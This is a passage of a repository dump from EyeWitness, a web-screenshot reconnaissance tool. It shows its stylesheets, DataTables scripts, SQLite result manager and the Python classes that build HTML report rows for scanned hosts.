webbrowser.open(f) 61 | sys.exit() 62 | sys.exit() 63 | -------------------------------------------------------------------------------- /Python/bin/dataTables.bootstrap4.min.css: -------------------------------------------------------------------------------- 1 | table.dataTable{clear:both;margin-top:6px !important;margin-bottom:6px !important;max-width:none !important;border-collapse:separate !important}table.dataTable td,table.dataTable th{-webkit-box-sizing:content-box;box-sizing:content-box}table.dataTable td.dataTables_empty,table.dataTable th.dataTables_empty{text-align:center}table.dataTable.nowrap th,table.dataTable.nowrap td{white-space:nowrap}div.dataTables_wrapper div.dataTables_length label{font-weight:normal;text-align:left;white-space:nowrap}div.dataTables_wrapper div.dataTables_length select{width:75px;display:inline-block}div.dataTables_wrapper div.dataTables_filter{text-align:right}div.dataTables_wrapper div.dataTables_filter label{font-weight:normal;white-space:nowrap;text-align:left}div.dataTables_wrapper div.dataTables_filter input{margin-left:0.5em;display:inline-block;width:auto}div.dataTables_wrapper div.dataTables_info{padding-top:0.85em;white-space:nowrap}div.dataTables_wrapper div.dataTables_paginate{margin:0;white-space:nowrap;text-align:right}div.dataTables_wrapper div.dataTables_paginate ul.pagination{margin:2px 0;white-space:nowrap;justify-content:flex-end}div.dataTables_wrapper div.dataTables_processing{position:absolute;top:50%;left:50%;width:200px;margin-left:-100px;margin-top:-26px;text-align:center;padding:1em 0}table.dataTable thead>tr>th.sorting_asc,table.dataTable thead>tr>th.sorting_desc,table.dataTable thead>tr>th.sorting,table.dataTable thead>tr>td.sorting_asc,table.dataTable thead>tr>td.sorting_desc,table.dataTable thead>tr>td.sorting{padding-right:30px}table.dataTable thead>tr>th:active,table.dataTable thead>tr>td:active{outline:none}table.dataTable thead .sorting,table.dataTable thead .sorting_asc,table.dataTable thead .sorting_desc,table.dataTable thead .sorting_asc_disabled,table.dataTable thead .sorting_desc_disabled{cursor:pointer;position:relative}table.dataTable thead .sorting:before,table.dataTable thead .sorting:after,table.dataTable thead .sorting_asc:before,table.dataTable thead .sorting_asc:after,table.dataTable thead .sorting_desc:before,table.dataTable thead .sorting_desc:after,table.dataTable thead .sorting_asc_disabled:before,table.dataTable thead .sorting_asc_disabled:after,table.dataTable thead .sorting_desc_disabled:before,table.dataTable thead .sorting_desc_disabled:after{position:absolute;bottom:0.9em;display:block;opacity:0.3}table.dataTable thead .sorting:before,table.dataTable thead .sorting_asc:before,table.dataTable thead .sorting_desc:before,table.dataTable thead .sorting_asc_disabled:before,table.dataTable thead .sorting_desc_disabled:before{right:1em;content:"\2191"}table.dataTable thead .sorting:after,table.dataTable thead .sorting_asc:after,table.dataTable thead .sorting_desc:after,table.dataTable thead .sorting_asc_disabled:after,table.dataTable thead .sorting_desc_disabled:after{right:0.5em;content:"\2193"}table.dataTable thead .sorting_asc:before,table.dataTable thead .sorting_desc:after{opacity:1}table.dataTable thead .sorting_asc_disabled:before,table.dataTable thead .sorting_desc_disabled:after{opacity:0}div.dataTables_scrollHead table.dataTable{margin-bottom:0 !important}div.dataTables_scrollBody table{border-top:none;margin-top:0 !important;margin-bottom:0 !important}div.dataTables_scrollBody table thead .sorting:after,div.dataTables_scrollBody table thead .sorting_asc:after,div.dataTables_scrollBody table thead .sorting_desc:after{display:none}div.dataTables_scrollBody table tbody tr:first-child th,div.dataTables_scrollBody table tbody tr:first-child td{border-top:none}div.dataTables_scrollFoot>.dataTables_scrollFootInner{box-sizing:content-box}div.dataTables_scrollFoot>.dataTables_scrollFootInner>table{margin-top:0 !important;border-top:none}@media screen and (max-width: 767px){div.dataTables_wrapper div.dataTables_length,div.dataTables_wrapper div.dataTables_filter,div.dataTables_wrapper div.dataTables_info,div.dataTables_wrapper div.dataTables_paginate{text-align:center}}table.dataTable.table-sm>thead>tr>th{padding-right:20px}table.dataTable.table-sm .sorting:before,table.dataTable.table-sm .sorting_asc:before,table.dataTable.table-sm .sorting_desc:before{top:5px;right:0.85em}table.dataTable.table-sm .sorting:after,table.dataTable.table-sm .sorting_asc:after,table.dataTable.table-sm .sorting_desc:after{top:5px}table.table-bordered.dataTable th,table.table-bordered.dataTable td{border-left-width:0}table.table-bordered.dataTable th:last-child,table.table-bordered.dataTable th:last-child,table.table-bordered.dataTable td:last-child,table.table-bordered.dataTable td:last-child{border-right-width:0}table.table-bordered.dataTable tbody th,table.table-bordered.dataTable tbody td{border-bottom-width:0}div.dataTables_scrollHead table.table-bordered{border-bottom-width:0}div.table-responsive>div.dataTables_wrapper>div.row{margin:0}div.table-responsive>div.dataTables_wrapper>div.row>div[class^="col-"]:first-child{padding-left:0}div.table-responsive>div.dataTables_wrapper>div.row>div[class^="col-"]:last-child{padding-right:0} 2 | -------------------------------------------------------------------------------- /Python/bin/dataTables.bootstrap4.min.js: -------------------------------------------------------------------------------- 1 | /*! 2 | DataTables Bootstrap 3 integration 3 | ©2011-2015 SpryMedia Ltd - datatables.net/license 4 | */ 5 | (function(b){"function"===typeof define&&define.amd?define(["jquery","datatables.net"],function(a){return b(a,window,document)}):"object"===typeof exports?module.exports=function(a,d){a||(a=window);if(!d||!d.fn.dataTable)d=require("datatables.net")(a,d).$;return b(d,a,a.document)}:b(jQuery,window,document)})(function(b,a,d,m){var f=b.fn.dataTable;b.extend(!0,f.defaults,{dom:"<'row'<'col-sm-12 col-md-6'l><'col-sm-12 col-md-6'f>><'row'<'col-sm-12'tr>><'row'<'col-sm-12 col-md-5'i><'col-sm-12 col-md-7'p>>", 6 | renderer:"bootstrap"});b.extend(f.ext.classes,{sWrapper:"dataTables_wrapper container-fluid dt-bootstrap4",sFilterInput:"form-control form-control-sm",sLengthSelect:"form-control form-control-sm",sProcessing:"dataTables_processing card",sPageButton:"paginate_button page-item"});f.ext.renderer.pageButton.bootstrap=function(a,h,r,s,j,n){var o=new f.Api(a),t=a.oClasses,k=a.oLanguage.oPaginate,u=a.oLanguage.oAria.paginate||{},e,g,p=0,q=function(d,f){var l,h,i,c,m=function(a){a.preventDefault();!b(a.currentTarget).hasClass("disabled")&& 7 | o.page()!=a.data.action&&o.page(a.data.action).draw("page")};l=0;for(h=f.length;l<h;l++)if(c=f[l],b.isArray(c))q(d,c);else{g=e="";switch(c){case "ellipsis":e="…";g="disabled";break;case "first":e=k.sFirst;g=c+(0<j?"":" disabled");break;case "previous":e=k.sPrevious;g=c+(0<j?"":" disabled");break;case "next":e=k.sNext;g=c+(j<n-1?"":" disabled");break;case "last":e=k.sLast;g=c+(j<n-1?"":" disabled");break;default:e=c+1,g=j===c?"active":""}e&&(i=b("<li>",{"class":t.sPageButton+" "+g,id:0===r&& 8 | "string"===typeof c?a.sTableId+"_"+c:null}).append(b("<a>",{href:"#","aria-controls":a.sTableId,"aria-label":u[c],"data-dt-idx":p,tabindex:a.iTabIndex,"class":"page-link"}).html(e)).appendTo(d),a.oApi._fnBindAction(i,{action:c},m),p++)}},i;try{i=b(h).find(d.activeElement).data("dt-idx")}catch(v){}q(b(h).empty().html('<ul class="pagination"/>').children("ul"),s);i!==m&&b(h).find("[data-dt-idx="+i+"]").focus()};return f}); 9 | -------------------------------------------------------------------------------- /Python/bin/dismissauth.xpi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/Python/bin/dismissauth.xpi -------------------------------------------------------------------------------- /Python/bin/style.css: -------------------------------------------------------------------------------- 1 | img { 2 | max-width: 100%; 3 | height: auto; 4 | } 5 | 6 | #screenshot { 7 | max-width: 850px; 8 | max-height: 550px; 9 | display: inline-block; 10 | width: 850px; 11 | overflow: scroll; 12 | } 13 | 14 | .hide { 15 | display: none; 16 | } 17 | 18 | .uabold { 19 | font-weight: bold; 20 | cursor: pointer; 21 | background-color: green; 22 | } 23 | 24 | .uared { 25 | font-weight: bold; 26 | cursor: pointer; 27 | background-color: red; 28 | } 29 | 30 | table.toc_table { 31 | border-collapse: collapse; 32 | border: 1px solid black; 33 | } 34 | 35 | table.toc_table td { 36 | border: 1px solid black; 37 | padding: 3px 8px 3px 8px; 38 | } 39 | 40 | table.toc_table th { 41 | border: 1px solid black; 42 | text-align: left; 43 | padding: 3px 8px 3px 8px; 44 | } 45 | -------------------------------------------------------------------------------- /Python/modules/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/Python/modules/__init__.py -------------------------------------------------------------------------------- /Python/modules/db_manager.py: -------------------------------------------------------------------------------- 1 | import pickle 2 | import sqlite3 3 | 4 | from modules.objects import HTTPTableObject 5 | from modules.objects import UAObject 6 | from modules.helpers import default_creds_category 7 | 8 | 9 | class DB_Manager(object): 10 | 11 | """docstring for DB_Manager""" 12 | 13 | def __init__(self, dbpath): 14 | super(DB_Manager, self).__init__() 15 | self._dbpath = dbpath 16 | self._connection = None 17 | 18 | @property 19 | def connection(self): 20 | return self._connection 21 | 22 | @connection.setter 23 | def connection(self, connection): 24 | self._connection = connection 25 | 26 | def initialize_db(self): 27 | c = self.connection.cursor() 28 | sqlite3.register_adapter(bool, int) 29 | sqlite3.register_converter("BOOLEAN", lambda v: bool(int(v))) 30 | c.execute('''CREATE TABLE opts 31 | (object blob)''') 32 | c.execute('''CREATE TABLE http 33 | (id integer primary key, object blob, complete boolean)''') 34 | c.execute('''CREATE TABLE ua 35 | (id integer primary key, parent_id integer, object blob, 36 | complete boolean, key text)''') 37 | self.connection.commit() 38 | c.close() 39 | 40 | def open_connection(self): 41 | self._connection = sqlite3.connect( 42 | self._dbpath, check_same_thread=False) 43 | self._connection.row_factory = sqlite3.Row 44 | 45 | def create_http_object(self, remote_system, cli_parsed): 46 | c = self.connection.cursor() 47 | obj = HTTPTableObject() 48 | obj.remote_system = remote_system 49 | obj.set_paths( 50 | cli_parsed.d, None) 51 | obj.max_difference = cli_parsed.difference 52 | c.execute("SELECT MAX(id) FROM http") 53 | rowid = c.fetchone()[0] 54 | if rowid is None: 55 | rowid = 0 56 | obj.id = rowid + 1 57 | pobj = sqlite3.Binary(pickle.dumps(obj, protocol=2)) 58 | c.execute(("INSERT INTO http (object, complete)" 59 | "VALUES (?,?)"), 60 | (pobj, False)) 61 | self.connection.commit() 62 | c.close() 63 | return obj 64 | 65 | def create_ua_object(self, http_object, browser, ua): 66 | c = self.connection.cursor() 67 | obj = UAObject(browser, ua) 68 | obj.copy_data(http_object) 69 | c.execute("SELECT MAX(id) FROM ua") 70 | rowid = c.fetchone()[0] 71 | if rowid is None: 72 | rowid = 0 73 | obj.id = rowid + 1 74 | pobj = sqlite3.Binary(pickle.dumps(obj, protocol=2)) 75 | c.execute(("INSERT INTO ua (parent_id, object, complete, key)" 76 | " VALUES (?,?,?,?)"), 77 | (http_object.id, pobj, False, browser)) 78 | self.connection.commit() 79 | c.close() 80 | return obj 81 | 82 | def update_ua_object(self, ua_object): 83 | c = self.connection.cursor() 84 | o = sqlite3.Binary(pickle.dumps(ua_object, protocol=2)) 85 | c.execute(("UPDATE ua SET object=?,complete=? WHERE id=?"), 86 | (o, True, ua_object.id)) 87 | self.connection.commit() 88 | c.close() 89 | 90 | def update_http_object(self, http_object): 91 | c = self.connection.cursor() 92 | o = sqlite3.Binary(pickle.dumps(http_object, protocol=2)) 93 | c.execute(("UPDATE http SET object=?,complete=? WHERE id=?"), 94 | (o, True, http_object.id)) 95 | self.connection.commit() 96 | c.close() 97 | 98 | def save_options(self, cli_parsed): 99 | opts = sqlite3.Binary(pickle.dumps(cli_parsed, protocol=2)) 100 | c = self.connection.cursor() 101 | c.execute("INSERT INTO opts (object) VALUES (?)", 102 | (opts,)) 103 | self.connection.commit() 104 | c.close() 105 | 106 | def get_options(self): 107 | c = self.connection.cursor() 108 | c.execute("SELECT * FROM opts") 109 | blob = c.fetchone()['object'] 110 | cli_parsed = pickle.loads(blob) 111 | return cli_parsed 112 | 113 | def get_incomplete_http(self, q): 114 | count = 0 115 | c = self.connection.cursor() 116 | for row in c.execute("SELECT * FROM http WHERE complete=0"): 117 | o = pickle.loads(row['object']) 118 | q.put(o) 119 | count += 1 120 | c.close() 121 | return count 122 | 123 | def get_incomplete_ua(self, q, key): 124 | count = 0 125 | c = self.connection.cursor() 126 | for row in c.execute("SELECT * FROM ua WHERE complete=? AND key=?", 127 | (0, key)): 128 | o = pickle.loads(row['object']) 129 | q.put(o) 130 | count += 1 131 | c.close() 132 | return count 133 | 134 | def get_complete_http(self): 135 | finished = [] 136 | c = self.connection.cursor() 137 | rows = c.execute("SELECT * FROM http WHERE complete=1").fetchall() 138 | for row in rows: 139 | o = pickle.loads(row['object']) 140 | uadat = c.execute("SELECT * FROM ua WHERE parent_id=?", 141 | (o.id,)).fetchall() 142 | for ua in uadat: 143 | uao = pickle.loads(ua['object']) 144 | if uao is not None and uao.source_code is not None and o.source_code: 145 | o.add_ua_data(uao) 146 | finished.append(o) 147 | c.close() 148 | return finished 149 | 150 | def clear_table(self, tname): 151 | c = self.connection.cursor() 152 | c.execute("DELETE FROM {0}".format(tname)) 153 | self.connection.commit() 154 | c.close() 155 | 156 | def close(self): 157 | self._connection.close() 158 | 159 | def get_cursor(self): 160 | return self.connection.cursor() 161 | 162 | def recategorize(self): 163 | finished = [] 164 | counter = 0 165 | c = self.connection.cursor() 166 | rows = c.execute("SELECT * FROM http WHERE complete=1").fetchall() 167 | total = len(rows) 168 | for row in rows: 169 | o = pickle.loads(row['object']) 170 | uadat = c.execute("SELECT * FROM ua WHERE parent_id=?", 171 | (o.id,)).fetchall() 172 | for ua in uadat: 173 | uao = pickle.loads(ua['object']) 174 | if uao is not None: 175 | o.add_ua_data(uao) 176 | if o.category != 'unauth' and o.category != 'notfound': 177 | t = o.category 178 | o = default_creds_category(o) 179 | if o.category != t: 180 | print('{0} changed to {1}'.format(t, o.category)) 181 | counter += 1 182 | if counter % 10 == 0: 183 | print('{0}/{1}'.format(counter, total)) 184 | finished.append(o) 185 | c.close() 186 | return finished 187 | 188 | def search_for_term(self, search): 189 | finished = [] 190 | c = self.connection.cursor() 191 | rows = c.execute("SELECT * FROM http WHERE complete=1").fetchall() 192 | for row in rows: 193 | o = pickle.loads(row['object']) 194 | 195 | if type(o.source_code) is str: 196 | o.source_code = o.source_code.encode() 197 | 198 | if type(o.page_title) is str: 199 | o.page_title = o.page_title.encode() 200 | 201 | uadat = c.execute("SELECT * FROM ua WHERE parent_id=?", 202 | (o.id,)).fetchall() 203 | for ua in uadat: 204 | uao = pickle.loads(ua['object']) 205 | if uao is not None: 206 | o.add_ua_data(uao) 207 | 208 | # if o.source_code or o.page_title are None, set them to empty strings for comparison 209 | source_code = b'' if o.source_code is None else o.source_code 210 | page_title = b'' if o.page_title is None else o.page_title 211 | 212 | if o.error_state is None: 213 | if search.encode() in source_code or search.encode() in page_title: 214 | finished.append(o) 215 | c.close() 216 | return finished 217 | 218 | def get_mikto_results(self): 219 | results = [] 220 | c = self.connection.cursor() 221 | rows = c.execute("SELECT * FROM http WHERE complete=1").fetchall() 222 | for row in rows: 223 | o = pickle.loads(row['object']) 224 | if o.error_state is None and (o.category == 'notfound' 225 | or o.category == 'crap'): 226 | results.append(o) 227 | c.close() 228 | return results 229 | -------------------------------------------------------------------------------- /Python/modules/objects.py: -------------------------------------------------------------------------------- 1 | import html 2 | import os 3 | import re 4 | 5 | from modules.helpers import strip_nonalphanum 6 | 7 | 8 | class HTTPTableObject(object): 9 | 10 | """docstring for HTTPTableObject""" 11 | 12 | def __init__(self): 13 | super(HTTPTableObject, self).__init__() 14 | self._id = None 15 | self._screenshot_path = None 16 | self._http_headers = {} 17 | self._page_title = None 18 | self._remote_system = None 19 | self._remote_login = None 20 | self._source_path = None 21 | self._error_state = None 22 | self._blank = False 23 | self._uadata = [] 24 | self._source_code = None 25 | self._max_difference = None 26 | self._root_path = None 27 | self._default_creds = None 28 | self._category = None 29 | self._ssl_error = False 30 | self._ua_left = None 31 | self._resolved = None 32 | 33 | def set_paths(self, outdir, suffix=None): 34 | file_name = self.remote_system.replace('://', '.') 35 | for char in [':', '/', '?', '=', '%', '+']: 36 | file_name = file_name.replace(char, '.') 37 | self.root_path = outdir 38 | if suffix is not None: 39 | file_name += '_' + suffix 40 | self.screenshot_path = os.path.join( 41 | outdir, 'screens', file_name + '.png') 42 | self.source_path = os.path.join(outdir, 'source', file_name + '.txt') 43 | 44 | @property 45 | def resolved(self): 46 | return self._resolved 47 | 48 | @resolved.setter 49 | def resolved(self, resolved): 50 | self._resolved = resolved 51 | 52 | @property 53 | def id(self): 54 | return self._id 55 | 56 | @id.setter 57 | def id(self, id): 58 | self._id = id 59 | 60 | @property 61 | def ua_left(self): 62 | return self._ua_left 63 | 64 | @ua_left.setter 65 | def ua_left(self, ua_left): 66 | self._ua_left = ua_left 67 | 68 | @property 69 | def root_path(self): 70 | return self._root_path 71 | 72 | @root_path.setter 73 | def root_path(self, root_path): 74 | self._root_path = root_path 75 | 76 | @property 77 | def screenshot_path(self): 78 | return self._screenshot_path 79 | 80 | @screenshot_path.setter 81 | def screenshot_path(self, screenshot_path): 82 | self._screenshot_path = screenshot_path 83 | 84 | @property 85 | def http_headers(self): 86 | return self._http_headers 87 | 88 | @http_headers.setter 89 | def http_headers(self, headers): 90 | self._http_headers = headers 91 | 92 | @property 93 | def page_title(self): 94 | return self._page_title 95 | 96 | @page_title.setter 97 | def page_title(self, page_title): 98 | self._page_title = page_title 99 | 100 | @property 101 | def remote_system(self): 102 | return self._remote_system 103 | 104 | @remote_system.setter 105 | def remote_system(self, remote_system): 106 | if remote_system.startswith('http://') or remote_system.startswith('https://'): 107 | pass 108 | else: 109 | if ':8443' in remote_system or ':443' in remote_system: 110 | remote_system = 'https://' + remote_system 111 | else: 112 | remote_system = 'http://' + remote_system 113 | 114 | remote_system = remote_system.strip() 115 | if 'http://' in remote_system and re.search(':80$', remote_system) is not None: 116 | remote_system = remote_system.replace(':80', '') 117 | 118 | if 'https://' in remote_system and re.search(':443$', remote_system) is not None: 119 | remote_system = remote_system.replace(':443', '') 120 | 121 | self._remote_system = remote_system.strip() 122 | 123 | @property 124 | def source_path(self): 125 | return self._source_path 126 | 127 | @source_path.setter 128 | def source_path(self, source_path): 129 | self._source_path = source_path 130 | 131 | @property 132 | def headers(self): 133 | if hasattr(self, '_headers'): 134 | return self._headers 135 | else: 136 | missing = { "Missing Headers" : "No Headers found" } 137 | return missing 138 | 139 | @headers.setter 140 | def headers(self, headers): 141 | self._headers = headers 142 | 143 | @property 144 | def error_state(self): 145 | return self._error_state 146 | 147 | # Error states include Timeouts and other errors 148 | @error_state.setter 149 | def error_state(self, error_state): 150 | self._error_state = error_state 151 | 152 | @property 153 | def blank(self): 154 | return self._blank 155 | 156 | @blank.setter 157 | def blank(self, blank): 158 | self._blank = blank 159 | 160 | @property 161 | def source_code(self): 162 | return self._source_code 163 | 164 | @source_code.setter 165 | def source_code(self, source_code): 166 | self._source_code = source_code 167 | 168 | @property 169 | def max_difference(self): 170 | return self._max_difference 171 | 172 | @max_difference.setter 173 | def max_difference(self, max_difference): 174 | self._max_difference = max_difference 175 | 176 | @property 177 | def default_creds(self): 178 | return self._default_creds 179 | 180 | @default_creds.setter 181 | def default_creds(self, default_creds): 182 | self._default_creds = default_creds 183 | 184 | @property 185 | def category(self): 186 | return self._category 187 | 188 | @category.setter 189 | def category(self, category): 190 | self._category = category 191 | 192 | @property 193 | def ssl_error(self): 194 | return self._ssl_error 195 | 196 | @ssl_error.setter 197 | def ssl_error(self, ssl_error): 198 | self._ssl_error = ssl_error 199 | 200 | def create_table_html(self): 201 | scr_path = os.path.relpath(self.screenshot_path, self.root_path) 202 | src_path = os.path.relpath(self.source_path, self.root_path) 203 | html = u"" 204 | if self._remote_login is not None: 205 | html += ("""<tr> 206 | <td><div style=\"display: inline-block; width: 300px; word-wrap: break-word\"> 207 | <a href=\"{address}\" target=\"_blank\">{address}</a><br> 208 | """).format(address=self._remote_login) 209 | else: 210 | html += ("""<tr> 211 | <td><div style=\"display: inline-block; width: 300px; word-wrap: break-word\"> 212 | <a href=\"{address}\" target=\"_blank\">{address}</a><br> 213 | """).format(address=self.remote_system) 214 | 215 | if self.resolved != None and self.resolved != 'Unknown': 216 | html += ("""<b>Resolved to:</b> {0}<br>""").format(self.resolved) 217 | 218 | if len(self._uadata) > 0: 219 | html += (""" 220 | <br><b>This is the baseline request.</b><br> 221 | The browser type is: <b>Baseline</b><br><br> 222 | The user agent is: <b>Baseline</b><br><br>""") 223 | 224 | if self.ssl_error: 225 | html += "<br><b>SSL Certificate error present on\ 226 | <a href=\"{0}\" target=\"_blank\">{0}</a></b><br>".format( 227 | self.remote_system) 228 | 229 | if self.default_creds is not None: 230 | try: 231 | html += "<br><b>Default credentials:</b> {0}<br>".format( 232 | self.sanitize(self.default_creds)) 233 | except UnicodeEncodeError: 234 | html += u"<br><b>Default credentials:</b> {0}<br>".format( 235 | self.sanitize(self.default_creds)) 236 | 237 | if self.error_state is None: 238 | try: 239 | html += "\n<br><b> Page Title: </b>{0}\n".format( 240 | self.sanitize(self.page_title)) 241 | except AttributeError: 242 | html += "\n<br><b> Page Title:</b>{0}\n".format( 243 | 'Unable to Display') 244 | except UnicodeDecodeError: 245 | html += "\n<br><b> Page Title:</b>{0}\n".format( 246 | 'Unable to Display') 247 | except UnicodeEncodeError: 248 | html += u"\n<br><b> Page Title:</b>{0}\n".format( 249 | self.sanitize(self.page_title)) 250 | 251 | for key, value in self.headers.items(): 252 | try: 253 | html += '<br><b> {0}:</b> {1}\n'.format( 254 | self.sanitize(key), self.sanitize(value)) 255 | except UnicodeEncodeError: 256 | html += u'<br><b> {0}:</b> {1}\n'.format( 257 | self.sanitize(key), self.sanitize(value)) 258 | if self.blank: 259 | html += ("""<br></td> 260 | <td><div style=\"display: inline-block; width: 850px;\">Page Blank\ 261 | ,Connection error, or SSL Issues</div></td> 262 | </tr> 263 | """) 264 | elif self.error_state == 'Timeout': 265 | html += ("</td><td>Hit timeout limit") 266 | if os.path.isfile(self.screenshot_path): 267 | html += ("""<br> 268 | <div id=\"screenshot\"><a href=\"{1}\" 269 | target=\"_blank\"><img style=\"max-height:400px;height: expression(this.height > 400 ? 400: true);\" 270 | src=\"{1}\"></a></div></td></tr>""").format(src_path, scr_path) 271 | else: 272 | html += ("</td></tr>") 273 | elif self.error_state == 'BadStatus': 274 | html += ("""</td><td>Unknown error while attempting to 275 | screenshot</td></tr>""") 276 | elif self.error_state == 'ConnReset': 277 | html += ("""</td><td>Connection Reset</td></tr>""") 278 | elif self.error_state == 'ConnRefuse': 279 | html += ("""</td><td>Connection Refused</td></tr>""") 280 | elif self.error_state == 'SSLHandshake': 281 | html += ("""</td><td>SSL Handshake Error</td></tr>""") 282 | else: 283 | html += ("""<br><br><a href=\"{0}\" 284 | target=\"_blank\">Source Code</a></div></td> 285 | <td><div id=\"screenshot\"><a href=\"{1}\" 286 | target=\"_blank\"><img style=\"max-height:400px;height: expression(this.height > 400 ? 400: true);\" 287 | src=\"{1}\"></a></div></td></tr>""").format( 288 | src_path, scr_path) 289 | 290 | if len(self._uadata) > 0: 291 | divid = strip_nonalphanum(self.remote_system) 292 | html += ("""<tr><td id={0} class="uabold" align="center" \ 293 | colspan="2" onclick="toggleUA('{0}', '{1}');"> 294 | Click to expand User Agents for {1}</td></tr>""").format( 295 | divid, self.remote_system) 296 | for ua_obj in sorted(self._uadata, key=lambda x: x.difference): 297 | html += ua_obj.create_table_html(divid) 298 | html += ("""<tr class="hide {0}"><td class="uared" align="center"\ 299 | colspan="2" onclick="toggleUA('{0}', '{1}');"> 300 | Click to collapse User Agents for {1}</td></tr>""").format( 301 | divid, self.remote_system) 302 | 303 | html += ("""</div> 304 | </div>""") 305 | return html 306 | 307 | def sanitize(self, incoming_html): 308 | if type(incoming_html) == bytes: 309 | pass 310 | else: 311 | incoming_html = incoming_html.encode() 312 | return html.escape(incoming_html.decode(), quote=True) 313 | 314 | def add_ua_data(self, uaobject): 315 | difference = abs(len(self.source_code) - len(uaobject.source_code)) 316 | if difference > self.max_difference: 317 | uaobject.difference = difference 318 | self._uadata.append(uaobject) 319 | 320 | @property 321 | def uadata(self): 322 | return self._uadata 323 | 324 | @uadata.setter 325 | def uadata(self, uadata): 326 | self._uadata = uadata 327 | 328 | 329 | class UAObject(HTTPTableObject): 330 | 331 | """docstring for UAObject""" 332 | 333 | def __init__(self, browser, ua): 334 | super(UAObject, self).__init__() 335 | self._browser = browser 336 | self._ua = ua 337 | self._difference = None 338 | self._id = None 339 | self._parent = None 340 | 341 | @property 342 | def browser(self): 343 | return self._browser 344 | 345 | @browser.setter 346 | def browser(self, browser): 347 | self._browser = browser 348 | 349 | @property 350 | def difference(self): 351 | return self._difference 352 | 353 | @difference.setter 354 | def difference(self, difference): 355 | self._difference = difference 356 | 357 | @property 358 | def ua(self): 359 | return self._ua 360 | 361 | @ua.setter 362 | def ua(self, ua): 363 | self._ua = ua 364 | 365 | @property 366 | def id(self): 367 | return self._id 368 | 369 | @id.setter 370 | def id(self, id): 371 | self._id = id 372 | 373 | @property 374 | def parent(self): 375 | return self._parent 376 | 377 | @parent.setter 378 | def parent(self, parent): 379 | self._parent = parent 380 | 381 | def copy_data(self, http_object): 382 | self.remote_system = http_object.remote_system 383 | self.root_path = http_object.root_path 384 | self.parent = http_object.id 385 | super(UAObject, self).set_paths(self.root_path, self.browser) 386 | 387 | def create_table_html(self, divid): 388 | scr_path = os.path.relpath(self.screenshot_path, self.root_path) 389 | src_path = os.path.relpath(self.source_path, self.root_path) 390 | html = u"" 391 | html += ("""<tr class="hide {0}"> 392 | <td><div style=\"display: inline-block; width: 300px; word-wrap: break-word\"> 393 | <a href=\"{1}\" target=\"_blank\">{1}</a><br> 394 | """).format(divid, self.remote_system) 395 | 396 | html += (""" 397 | <br>This request was different from the baseline.<br> 398 | The browser type is: <b>{0}</b><br><br> 399 | The user agent is: <b>{1}</b><br><br> 400 | Difference in length of the two webpage sources is\ 401 | : <b>{2}</b><br> 402 | """).format(self.browser, self.ua, self.difference) 403 | 404 | if self.ssl_error: 405 | html += "<br><b>SSL Certificate error present on\ 406 | <a href=\"{0}\" target=\"_blank\">{0}</a></b><br>".format( 407 | self.remote_system) 408 | 409 | if self.default_creds is not None: 410 | try: 411 | html += "<br><b>Default credentials:</b> {0}<br>".format( 412 | self.sanitize(self.default_creds)) 413 | except UnicodeEncodeError: 414 | html += u"<br><b>Default credentials:</b> {0}<br>".format( 415 | self.sanitize(self.default_creds)) 416 | 417 | try: 418 | html += "\n<br><b> Page Title: </b>{0}\n".format( 419 | self.sanitize(self.page_title)) 420 | except AttributeError: 421 | html += "\n<br><b> Page Title:</b>{0}\n".format( 422 | 'Unable to Display') 423 | except UnicodeDecodeError: 424 | html += "\n<br><b> Page Title:</b>{0}\n".format( 425 | 'Unable to Display') 426 | except UnicodeEncodeError: 427 | html += u'<br><b> Page Title: </b>{0}\n'.format( 428 | self.sanitize(self.page_title)) 429 | 430 | for key, value in self.headers.items(): 431 | try: 432 | html += '<br><b> {0}:</b> {1}\n'.format( 433 | self.sanitize(key), self.sanitize(value)) 434 | except UnicodeEncodeError: 435 | html += u'<br><b> {0}:</b> {1}\n'.format( 436 | self.sanitize(key), self.sanitize(value)) 437 | 438 | if self.blank: 439 | html += ("""<br></td> 440 | <td><div style=\"display: inline-block; width: 850px;\">Page Blank,\ 441 | Connection error, or SSL Issues</div></td> 442 | </tr> 443 | """) 444 | else: 445 | html += ("""<br><br><a href=\"{0}\" 446 | target=\"_blank\">Source Code</a></div></td> 447 | <td><div id=\"screenshot\"><a href=\"{1}\" 448 | target=\"_blank\"><img style=\"max-height:400px;height: expression(this.height > 400 ? 400: true);\" 449 | src=\"{1}\"></a></div></td></tr>""").format( 450 | src_path, scr_path) 451 | return html 452 | 453 | -------------------------------------------------------------------------------- /Python/modules/reporting.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import urllib.parse 4 | 5 | try: 6 | from fuzzywuzzy import fuzz 7 | except ImportError: 8 | print('[*] fuzzywuzzy not found.') 9 | print('[*] Please run the script in the setup directory!') 10 | sys.exit() 11 | 12 | 13 | def process_group( 14 | data, group, toc, toc_table, page_num, section, 15 | sectionid, html): 16 | """Retreives a group from the full data, and creates toc stuff 17 | 18 | Args: 19 | data (List): Full set of data containing all hosts 20 | group (String): String representing group to process 21 | toc (String): HTML for Table of Contents 22 | toc_table (String): HTML for Table in ToC 23 | page_num (int): Page number we're on in the report 24 | section (String): Display name of the group 25 | sectionid (String): Unique ID for ToC navigation 26 | html (String): HTML for current page of report 27 | 28 | Returns: 29 | List: Elements for category sorted and grouped 30 | String: HTML representing ToC 31 | String: HTML representing ToC Table 32 | String: HTML representing current report page 33 | """ 34 | group_data = sorted([x for x in data if x.category == group], key=lambda k: str(k.page_title)) 35 | 36 | grouped_elements = [] 37 | if len(group_data) == 0: 38 | return grouped_elements, toc, toc_table, html 39 | if page_num == 0: 40 | toc += ("<li><a href=\"report.html#{0}\">{1} (Page 1)</a></li>").format( 41 | sectionid, section) 42 | else: 43 | toc += ("<li><a href=\"report_page{0}.html#{1}\">{2} (Page {0})</a></li>").format( 44 | str(page_num+1), sectionid, section) 45 | 46 | html += "<h2 id=\"{0}\">{1}</h2>".format(sectionid, section) 47 | unknowns = [x for x in group_data if x.page_title == 'Unknown'] 48 | group_data = [x for x in group_data if x.page_title != 'Unknown'] 49 | while len(group_data) > 0: 50 | test_element = group_data.pop(0) 51 | temp = [x for x in group_data if fuzz.token_sort_ratio( 52 | test_element.page_title, x.page_title) >= 70] 53 | temp.append(test_element) 54 | temp = sorted(temp, key=lambda k: k.page_title) 55 | grouped_elements.extend(temp) 56 | group_data = [x for x in group_data if fuzz.token_sort_ratio( 57 | test_element.page_title, x.page_title) < 70] 58 | 